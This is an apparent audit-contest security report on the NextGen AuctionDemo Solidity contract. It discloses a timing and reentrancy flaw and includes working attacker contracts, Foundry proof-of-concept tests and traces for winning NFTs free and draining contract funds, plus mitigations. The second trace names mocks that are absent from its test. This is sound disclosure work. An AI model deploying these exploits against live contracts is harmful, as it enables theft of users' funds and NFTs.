NextGen - Draiakoo's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

High impact A hacker can win and obtain the NFT ownership for free with minimal initial investment. Also the owner of the auctioned NFT will not receive any funds if auction contract does not contain extra funds to cover his payment.

Exploit explanation

This issue is possible because the functions claimAuction and cancelBid share 1 single unit of time where can be both called. The cancelBid function is intended to be called by a user that have created a bid but wants to cancel it and get his funds back. This function can be called when the timestamp is LESS THAN OR EQUAL to the auctionEndTime.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

On the other hand we have the claimAuction function that is intended to be called when the auction has already finished. However, this function has the following initial check:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

It can be called when the timestamp is GREATER THAN OR EQUAL to the auctionEndTime. That means that when the timestamp is exactly to the auctionEndTime it is possible to call both functions.

Taking into account these conditions, an attacker can get paid x2 of his bids that are not the winning one. The hacker can create 2 bids, 1 to get repaid x2 and the other one to win the auction. Basically the first bid would cover the loss of the second one and the user would be able to win the auction for free.

To execute this exploit a smart contract is required to reenter the function cancelBid with the fallback function once the amount of a bid is repaid in claimAuction function.

When the timestamp gets equal to the auctionEndTime the hacker can call claimAuction function, this will loop through all the bids that has been submited refunding the amount paid to the bidders. Then the auction will send back to the malicious contracts the bids that are not the winning ones transfering the paid funds and triggering the fallback function of the malicious contract. Since claimAuction does not update the auctionInfoData[_tokenid][i].status to false, the fallback function can be programmed to call cancelBid. This function checks the state of the bid, but since it has not been set to false, the auction contract will pay again the same amount to the malicious contract.

With this effect, if the auction contract does not have extra funds, the NFT owner that started the auction will not receive any funds for his NFT because the transaction of funds is not checked for success, so if the transfer fails, the transaction does not revert.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L111-L114

if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
}

Proof of Concept

Consider that the hacker can create the following contract:

contract MaliciousBidWinnerContract is IERC721Receiver{

    auctionDemo public immutable auction;
    IERC721 public immutable core;
    address private immutable hackerAddress;
    uint256 public immutable tokenId;
    
    uint256 public currentIndex;
    uint256 public bidIndex;
    bool public fundsFromRefund;

    constructor(address _auction, address _core, uint256 _tokenId) payable {
        auction = auctionDemo(_auction);
        core = IERC721(_core);
        hackerAddress = msg.sender;
        tokenId = _tokenId;
    }

    function executeAttack(uint256 amountToOutbid) external payable {
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        require(msg.value == amountToOutbid * 2);
        bidIndex = auction.returnBids(tokenId).length;
        auction.participateToAuction{value: amountToOutbid - 1}(tokenId);
        auction.participateToAuction{value: amountToOutbid}(tokenId);
        auction.claimAuction(tokenId);
    }

    function withdrawFunds() external {
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success);
    }

    function transferNFT() external {
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        core.safeTransferFrom(address(this), msg.sender, tokenId);
    }

    function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4){
        return IERC721Receiver.onERC721Received.selector;
    }

    fallback() external payable {
        // fundsFromRefund is used to know if the fallback has been triggered by refund or by cancellation
        // if this boolean is not used, cancelBid would also try to cancel again the bid but since the bid
        // would have been already canceled the transaction would revert
        if(fundsFromRefund == false){
            fundsFromRefund = true;
            auctionDemo(msg.sender).cancelBid(tokenId, bidIndex);
            currentIndex++;
        }
        else{
            fundsFromRefund = false;
        }
    }
}

With this smart contract, the hacker can execute the following situation:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/auctionDemo.sol";
import "../src/NextGenCore.sol";
import "../src/NextGenAdmins.sol";
import "../src/MinterContract.sol";
import "../src/NFTdelegation.sol";

contract RandomizerMock {

    NextGenCore public gencore;

    function isRandomizerContract() external pure returns(bool){
        return true;
    }

    function updateCoreContract(address _gencore) external { 
        gencore = NextGenCore(_gencore);
    }

    function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) external {
        gencore.setTokenHash(_collectionID, _mintIndex, keccak256(abi.encode(block.timestamp)));
    }
}

contract auctionDemoTest is Test {
    NextGenAdmins public admins;
    NextGenCore public core;
    DelegationManagementContract public dmc;
    NextGenMinterContract public minter;
    auctionDemo public auction;
    RandomizerMock public randomizer;

    address public admin = makeAddr("admin");
    address public artist = makeAddr("artist");
    address public auctionCreator = makeAddr("auctionCreator");
    address public NFTOwner = makeAddr("NFTOwner");
    address public hacker = makeAddr("hacker");

    MaliciousBidWinnerContract public attackContract;

    uint256 public auctionEndTime;

    function setUp() public {
        // Admin creates admins, core, minter and auction contracts
        vm.startPrank(admin);
        admins = new NextGenAdmins();
        core = new NextGenCore("RandomName", "RandomSymbol", address(admins));
        dmc = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(dmc), address(admins));
        auction = new auctionDemo(address(minter), address(core), address(admins));
        randomizer = new RandomizerMock();
        
        // Add minter contract in the core
        core.addMinterContract(address(minter));
        core.addRandomizer(1, address(randomizer));
        randomizer.updateCoreContract(address(core));


        // Creates a collection and set the data
        string[] memory collectionScript;
        core.createCollection(
            "CollectionName",
            "CollectionArtist",
            "CollectionDescription",
            "CollectionWebsite",
            "CollectionLicense",
            "CollectionBaseURI",
            "CollectionLibrary",
            collectionScript
        );

        core.setCollectionData(
            1,
            artist,
            5,
            5,
            5
        );

        minter.setCollectionCosts(
            1,
            5 ether,
            2 ether,
            0.5 ether,
            1 days,
            2,
            address(0)
        );

        skip(50 days);

        minter.setCollectionPhases(
            1,
            block.timestamp,
            block.timestamp + 20 days,
            block.timestamp + 20 days,
            block.timestamp + 40 days,
            0
        );

        // Add auction creator to mintAndAuction
        admins.registerFunctionAdmin(auctionCreator, 0x46372ba6, true);


        // Auction creator creates the auction
        auctionEndTime = block.timestamp + 10 days;
        vm.startPrank(auctionCreator);
        minter.mintAndAuction(
            NFTOwner,
            "TokenData",
            block.number,
            1,
            auctionEndTime
        );
    }



    function testHackerCanWinForFreeAndOwnerWillNotReceiveAnyAmount() public {
        // Setup
        
        // tokenId that will be used for this auction
        uint256 tokenId = 10000000000;
        assertEq(core.ownerOf(tokenId), NFTOwner);

        // Approve the auctionDemo contract to move his NFT
        vm.prank(NFTOwner);
        core.setApprovalForAll(address(auction), true);

        // Hacker needs a minimal eth amount to start and repy the flashloan
        vm.deal(hacker, 1);



        // Attack
        uint256 NFTOwnerBalanceBefore = NFTOwner.balance;

        // Hacker gets a 20 ether flashloan to outbid a some other bids from other people. Mocked for the sake of simplicity
        uint256 flashLoanAmount = 20 ether;
        vm.deal(hacker, flashLoanAmount);

        vm.startPrank(hacker);
        attackContract = new MaliciousBidWinnerContract(address(auction), address(core), tokenId);


        // KEY MOMENT
        // At the exact timestamp of the ending time for the auction, the highest bidder can claim the auction and reenter to cancelBid
        vm.warp(auctionEndTime);

        // This function call MUST be called at the exacy timestamp of the end of the auction
        attackContract.executeAttack{ value: 20 ether }(10 ether);

        // At this point the attacker contract already have all the funds + the NFT ownership
        attackContract.withdrawFunds();
        
        attackContract.transferNFT();

        // Hacker returns the flashloan.  Mocked for the sake of simplicity
        address(0).call{value: flashLoanAmount}("");

        uint256 NFTOwnerBalanceAfter = NFTOwner.balance;

        console.log("Balance NFT owner before ", NFTOwnerBalanceBefore);
        console.log("Balance NFT owner after ", NFTOwnerBalanceAfter);

        // NFT owner did not receive anything
        assertEq(NFTOwnerBalanceBefore, NFTOwnerBalanceAfter);
        assertEq(NFTOwnerBalanceAfter, 0);

        // Hacker got the NFT ownership
        assertEq(core.ownerOf(tokenId), hacker);
    }

}

Executing this POC on foundry we get this output:

Running 1 test for test/auctionDemoNFT.t.sol:auctionDemoTest
[PASS] testHackerCanWinForFreeAndOwnerWillNotReceiveAnyAmount() (gas: 1017471)
Logs:
  Balance NFT owner before  0
  Balance NFT owner after  0

Traces:
  [1017471] auctionDemoTest::testHackerCanWinForFreeAndOwnerWillNotReceiveAnyAmount()
    ├─ [2625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    │   └─ ← NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC]
    ├─ [0] VM::prank(NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC])
    │   └─ ← ()
    ├─ [24746] NextGenCore::setApprovalForAll(auctionDemo: [0x1742F7d30605F18f097F356E1EeAfDB5e2FDe33a], true)
    │   ├─ emit ApprovalForAll(owner: NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], operator: auctionDemo: [0x1742F7d30605F18f097F356E1EeAfDB5e2FDe33a], approved: true)
    │   └─ ← ()
    ├─ [0] VM::deal(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 1)
    │   └─ ← ()
    ├─ [0] VM::deal(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 20000000000000000000 [2e19])
    │   └─ ← ()
    ├─ [0] VM::startPrank(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
    │   └─ ← ()
    ├─ [511385] → new MaliciousBidWinnerContract@0x5020029b077577Aae04d569234b7fefA73e33784
    │   └─ ← 2551 bytes of code
    ├─ [0] VM::warp(5184001 [5.184e6])
    │   └─ ← ()
    ├─ [337412] MaliciousBidWinnerContract::executeAttack{value: 20000000000000000000}(10000000000000000000 [1e19])
    │   ├─ [2765] auctionDemo::returnBids(10000000000 [1e10]) [staticcall]
    │   │   └─ ← []
    │   ├─ [97870] auctionDemo::participateToAuction{value: 9999999999999999999}(10000000000 [1e10])
    │   │   ├─ [2506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← 5184001 [5.184e6]
    │   │   ├─ [2517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← ()
    │   ├─ [71551] auctionDemo::participateToAuction{value: 10000000000000000000}(10000000000 [1e10])
    │   │   ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← 5184001 [5.184e6]
    │   │   ├─ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← ()
    │   ├─ [155324] auctionDemo::claimAuction(10000000000 [1e10])
    │   │   ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← 5184001 [5.184e6]
    │   │   ├─ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    │   │   │   └─ ← NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC]
    │   │   ├─ [46848] MaliciousBidWinnerContract::fallback{value: 9999999999999999999}()
    │   │   │   ├─ [10861] auctionDemo::cancelBid(10000000000 [1e10], 0)
    │   │   │   │   ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   │   │   │   └─ ← 5184001 [5.184e6]
    │   │   │   │   ├─ [316] MaliciousBidWinnerContract::fallback{value: 9999999999999999999}()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit CancelBid(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000000 [1e10], index: 0, status: true, funds: 9999999999999999999 [9.999e18])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ emit Refund(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000000 [1e10], status: true, funds: 10000000000000000000 [1e19])
    │   │   ├─ [59673] NextGenCore::safeTransferFrom(NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], 10000000000 [1e10])
    │   │   │   ├─ emit Transfer(from: NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], to: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenId: 10000000000 [1e10])
    │   │   │   ├─ [719] MaliciousBidWinnerContract::onERC721Received(auctionDemo: [0x1742F7d30605F18f097F356E1EeAfDB5e2FDe33a], NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], 10000000000 [1e10], 0x)
    │   │   │   │   └─ ← 0x150b7a02
    │   │   │   └─ ← ()
    │   │   ├─ [0] admin::fallback{value: 10000000000000000000}()
    │   │   │   └─ ← "EvmError: OutOfFund"
    │   │   ├─ emit ClaimAuction(_add: admin: [0xaA10a84CE7d9AE517a52c6d5cA153b369Af99ecF], tokenid: 10000000000 [1e10], status: false, funds: 10000000000000000000 [1e19])
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [7170] MaliciousBidWinnerContract::withdrawFunds()
    │   ├─ [0] hacker::fallback{value: 19999999999999999999}()
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [41242] MaliciousBidWinnerContract::transferNFT()
    │   ├─ [40737] NextGenCore::safeTransferFrom(MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 10000000000 [1e10])
    │   │   ├─ emit Transfer(from: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], to: hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], tokenId: 10000000000 [1e10])
    │   │   └─ ← ()
    │   └─ ← ()
    ├─ [0] 0x0000000000000000000000000000000000000000::fallback{value: 20000000000000000000}()
    │   └─ ← "EvmError: OutOfFund"
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001942616c616e6365204e4654206f776e6572206265666f72652000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [0] console::9710a9d0(00000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001842616c616e6365204e4654206f776e6572206166746572200000000000000000) [staticcall]
    │   └─ ← ()
    ├─ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    │   └─ ← hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE]
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 6.35ms

Tools Used

Manual review

Recommended Mitigation Steps

Change either claimAuction function check on https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 for:

require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

The block.timestamp must be only GREATER THAN the auctionEndTime. Or change the check in cancelBid function on https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 for:

require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

The block.timestamp must be only LESS THAN the auctionEndTime.

It would be also recommended to update the cancelation state when claiming the auction. That would also prevent the reentrancy issue. At the moment the refund inside claimAuction function works as follows:

else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
}

Adding the updated state also solves the problem:

else if (auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][index].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
}

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L130

Vulnerability details

Impact

Critical impact A hacker can steal almost all auctionDemo contract funds without any initial balance. The funds inside auctionDemo are composed of other people's eth that have bid in other NFT auctions.

Exploit explanation

This issue is possible because the functions claimAuction and cancelBid share 1 single unit of time where can be both called. The cancelBid function is intended to be called by a user that have created a bid but wants to cancel it and get his funds back. This function can be called when the timestamp is LESS THAN OR EQUAL to the auctionEndTime.

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125

require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");

On the other hand we have the claimAuction function that is intended to be called when the auction has already finished. However, this function has the following initial check:

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105

require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

It can be called when the timestamp is GREATER THAN OR EQUAL to the auctionEndTime. That means that when the timestamp is exactly to the auctionEndTime it is possible to call both functions.

Taking into account these conditions, an attacker can get paid x2 of his bids that are not the winning one because when claiming the auction, it will be refunded in the loop and when calling cancelBid by crossfunction reentrancy. Since there is no cooldown when bidding, the hacker can execute all the bids that want to be repaid x2 in the same transaction that he will call claimAuction. The winning bid will never be repaid and will remain in the auction contract, that means that the more bids that the hacker execute, the more he will be able to steal. Since all this workflow happens in a single transaction and in a single unit of time, the hacker does not need any initial funds because he can get a flashloan and return it in the same transaction.

Proof of Concept

Consider that the hacker can create the following contract:

contract MaliciousBidWinnerContract is IERC721Receiver{

    auctionDemo public immutable auction;
    IERC721 public immutable core;
    address private immutable hackerAddress;
    uint256 public immutable tokenId;
    
    uint256 public currentIndex;
    uint256[] public bidIndexes;
    bool public fundsFromRefund;

    constructor(address _auction, address _core, uint256 _tokenId) payable {
        auction = auctionDemo(_auction);
        core = IERC721(_core);
        hackerAddress = msg.sender;
        tokenId = _tokenId;
    }

    function executeFundDraining(uint256 amountToDrain, uint256 iterations) external payable{
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        require(msg.value == amountToDrain);
        uint256 winningBidAmount = amountToDrain / iterations;
        // Each of the bids created inside this loop will be repaid x2
        for(uint256 i = iterations - 1; i > 0; --i){
            bidIndexes.push(auction.returnBids(tokenId).length);
            auction.participateToAuction{value: winningBidAmount - i}(tokenId);
        }
        // This final bid will be the winning one, and will not be repaid
        auction.participateToAuction{value: winningBidAmount}(tokenId);
        auction.claimAuction(tokenId);
    }

    function withdrawFunds() external {
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success);
    }

    function transferNFT() external {
        require(msg.sender == hackerAddress);   // only the hacker can call this function
        core.safeTransferFrom(address(this), msg.sender, tokenId);
    }

    function onERC721Received(address, address, uint256, bytes calldata) public pure returns(bytes4){
        return IERC721Receiver.onERC721Received.selector;
    }

    fallback() external payable {
        // fundsFromRefund is used to know if the fallback has been triggered by refund or by cancellation
        // if this boolean is not used, cancelBid would also try to cancel again the bid but since the bid
        // would have been already canceled the transaction would revert
        if(fundsFromRefund == false){
            fundsFromRefund = true;
            auctionDemo(msg.sender).cancelBid(tokenId, bidIndexes[currentIndex]);
            currentIndex++;
        }
        else{
            fundsFromRefund = false;
        }
    }
}

With this smart contract, the hacker can execute with a single function call the attack:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/auctionDemo.sol";
import "../src/NextGenCore.sol";
import "../src/NextGenAdmins.sol";
import "../src/MinterContract.sol";
import "../src/NFTdelegation.sol";

contract RandomizerMock {

    NextGenCore public gencore;

    function isRandomizerContract() external pure returns(bool){
        return true;
    }

    function updateCoreContract(address _gencore) external { 
        gencore = NextGenCore(_gencore);
    }

    function calculateTokenHash(uint256 _collectionID, uint256 _mintIndex, uint256 _saltfun_o) external {
        gencore.setTokenHash(_collectionID, _mintIndex, keccak256(abi.encode(block.timestamp)));
    }
}

contract auctionDemoTest is Test {
    NextGenAdmins public admins;
    NextGenCore public core;
    DelegationManagementContract public dmc;
    NextGenMinterContract public minter;
    auctionDemo public auction;
    RandomizerMock public randomizer;

    address public admin = makeAddr("admin");
    address public artist = makeAddr("artist");
    address public auctionCreator = makeAddr("auctionCreator");
    address public hacker = makeAddr("hacker");

    MaliciousBidWinnerContract public attackContract;

    uint256 public auctionEndTime;

    function setUp() public {
        // Admin creates admins, core, minter and auction contracts
        vm.startPrank(admin);
        admins = new NextGenAdmins();
        core = new NextGenCore("RandomName", "RandomSymbol", address(admins));
        dmc = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(dmc), address(admins));
        auction = new auctionDemo(address(minter), address(core), address(admins));
        randomizer = new RandomizerMock();
        
        // Add minter contract in the core
        core.addMinterContract(address(minter));
        core.addRandomizer(1, address(randomizer));
        randomizer.updateCoreContract(address(core));


        // Creates a collection and set the data
        string[] memory collectionScript;
        core.createCollection(
            "CollectionName",
            "CollectionArtist",
            "CollectionDescription",
            "CollectionWebsite",
            "CollectionLicense",
            "CollectionBaseURI",
            "CollectionLibrary",
            collectionScript
        );

        core.setCollectionData(
            1,
            artist,
            5,
            5,
            5
        );

        minter.setCollectionCosts(
            1,
            5 ether,
            2 ether,
            0.5 ether,
            1 days,
            2,
            address(0)
        );

        skip(50 days);

        minter.setCollectionPhases(
            1,
            block.timestamp,
            block.timestamp + 20 days,
            block.timestamp + 20 days,
            block.timestamp + 40 days,
            0
        );

        // Add auction creator to mintAndAuction
        admins.registerFunctionAdmin(auctionCreator, 0x46372ba6, true);


        // Auction creator creates the auction
        auctionEndTime = block.timestamp + 10 days;
        vm.startPrank(auctionCreator);
        minter.mintAndAuction(
            auctionCreator,
            "TokenData",
            block.number,
            1,
            auctionEndTime
        );
    }

    function testHackerCanDrainAlmostAllAuctionContractFunds() public {
        // Setup
        
        // tokenId that will be used for this auction
        uint256 tokenId = 10000000000;

        assertEq(core.ownerOf(tokenId), auctionCreator);

        // Approve the auctionDemo contract to move his NFT
        vm.prank(auctionCreator);
        core.setApprovalForAll(address(auction), true);

        // Hacker starts with 0 eth, hence no initial amount is needed for the hack
        vm.deal(hacker, 0 ether);
        // Initial auction funds set 10.000 ether. Represents eth from other nft auctions that are sitting in the contract
        vm.deal(address(auction), 10_000 ether);

        // KEY MOMENT
        // At the exact timestamp of the ending time for the auction is when the hack can be executed
        vm.warp(auctionEndTime);

        // Attack

        uint256 hackerBalanceBefore = hacker.balance;
        uint256 auctionBalanceBefore = address(auction).balance;

        // User gets a flashloan of the amount to drain. For simplicity we will mock it
        vm.deal(hacker, 10_000 ether);
        vm.startPrank(hacker);
        attackContract = new MaliciousBidWinnerContract(address(auction), address(core), tokenId);
        
        // Attacker executes the attack. The more iterations, the most amount we will drain from the contract
        // The method to calculate how much will we drain is the following:
        uint256 iterations = 100;
        attackContract.executeFundDraining{ value: 10_000 ether }(10_000 ether, iterations);

        // At this point the attacker contract already have almost all the funds + the NFT ownership
        attackContract.withdrawFunds();
        
        attackContract.transferNFT();

        // Hacker returns the flashloan. Mock it again for simplicity
        vm.prank(hacker);
        address(0).call{value: 10_000 ether }("");

        uint256 hackerBalanceAfter = hacker.balance;
        uint256 auctionBalanceAfter = address(auction).balance;

        console.log("Balance hacker before ", hackerBalanceBefore);
        console.log("Balance hacker after  ", hackerBalanceAfter);

        console.log("Balance auction contract before ", auctionBalanceBefore);
        console.log("Balance auction contract after  ", auctionBalanceAfter);

        // Hacker got the NFT ownership
        assertEq(core.ownerOf(tokenId), hacker);
    }
}

Executing this POC on foundry we get this output:

Running 1 test for test/auctionDemo.t.sol:auctionDemoTest
[PASS] testHackerCanDrainAlmostAllAuctionContractFunds() (gas: 27117725)
Logs:
  Balance hacker before  0
  Balance hacker after   9799999999999999995050
  Balance auction contract before  10000000000000000000000
  Balance auction contract after   200000000000000004950

Traces:
  [27117725] auctionDemoTest::testHackerCanDrainAlmostAllAuctionContractFunds()
    ├─ [47186] coreMock::mint(NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], 10000000001 [1e10])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], tokenId: 10000000001 [1e10])
    │   └─ ← ()
    ├─ [536] coreMock::ownerOf(10000000001 [1e10]) [staticcall]
    │   └─ ← NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC]
    ├─ [0] VM::prank(NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC])
    │   └─ ← ()
    ├─ [24605] coreMock::setApprovalForAll(auctionDemo: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], true)
    │   ├─ emit ApprovalForAll(owner: NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC], operator: auctionDemo: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], approved: true)
    │   └─ ← ()
    ├─ [0] VM::deal(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 0)
    │   └─ ← ()
    ├─ [0] VM::deal(auctionDemo: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 10000000000000000000000 [1e22])
    │   └─ ← ()
    ├─ [44760] minterMock::openAuction(10000000001 [1e10], 864000 [8.64e5])
    │   └─ ← ()
    ├─ [0] VM::warp(864001 [8.64e5])
    │   └─ ← ()
    ├─ [0] VM::deal(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE], 10000000000000000000000 [1e22])
    │   └─ ← ()
    ├─ [0] VM::startPrank(hacker: [0xa63c492D8E9eDE5476CA377797Fe1dC90eEAE7fE])
    │   └─ ← ()
    ├─ [557429] → new MaliciousBidWinnerContract@0x5020029b077577Aae04d569234b7fefA73e33784
    │   └─ ← 2781 bytes of code
    ├─ [26299545] MaliciousBidWinnerContract::executeFundDraining{value: 10000000000000000000000}(10000000000000000000000 [1e22], 100)
    │   ├─ [2765] auctionDemo::returnBids(10000000001 [1e10]) [staticcall]
    │   │   └─ ← []
    │   ├─ [91339] auctionDemo::participateToAuction{value: 99999999999999999901}(10000000001 [1e10])
    │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← 864001 [8.64e5]
    │   │   ├─ [484] minterMock::getAuctionStatus(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← ()
    │   ├─ [1504] auctionDemo::returnBids(10000000001 [1e10]) [staticcall]
    │   │   └─ ← [(0x5020029b077577Aae04d569234b7fefA73e33784, 99999999999999999901 [9.999e19], true)]
    │   ├─ [71520] auctionDemo::participateToAuction{value: 99999999999999999902}(10000000001 [1e10])
    │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← 864001 [8.64e5]
    │   │   ├─ [484] minterMock::getAuctionStatus(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← ()
    │   ├─ [2243] auctionDemo::returnBids(10000000001 [1e10]) [staticcall]
    │   │   └─ ← [(0x5020029b077577Aae04d569234b7fefA73e33784, 99999999999999999901 [9.999e19], true), (0x5020029b077577Aae04d569234b7fefA73e33784, 99999999999999999902 [9.999e19], true)]
    │   ├─ [72995] auctionDemo::participateToAuction{value: 99999999999999999903}(10000000001 [1e10])
    │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← 864001 [8.64e5]
    │   │   ├─ [484] minterMock::getAuctionStatus(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   └─ ← ()
...
...
...
When claimAuction is executed
    │   ├─ [4079152] auctionDemo::claimAuction(10000000001 [1e10])
    │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← 864001 [8.64e5]
    │   │   ├─ [484] minterMock::getAuctionStatus(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← true
    │   │   ├─ [536] coreMock::ownerOf(10000000001 [1e10]) [staticcall]
    │   │   │   └─ ← NFTOwner: [0x27b690B81834CC0c2dcdF46708ec983f681DB3eC]
    │   │   ├─ [47083] MaliciousBidWinnerContract::fallback{value: 99999999999999999901}()
    │   │   │   ├─ [10863] auctionDemo::cancelBid(10000000001 [1e10], 0)
    │   │   │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   │   │   └─ ← 864001 [8.64e5]
    │   │   │   │   ├─ [316] MaliciousBidWinnerContract::fallback{value: 99999999999999999901}()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit CancelBid(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000001 [1e10], index: 0, status: true, funds: 99999999999999999901 [9.999e19])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
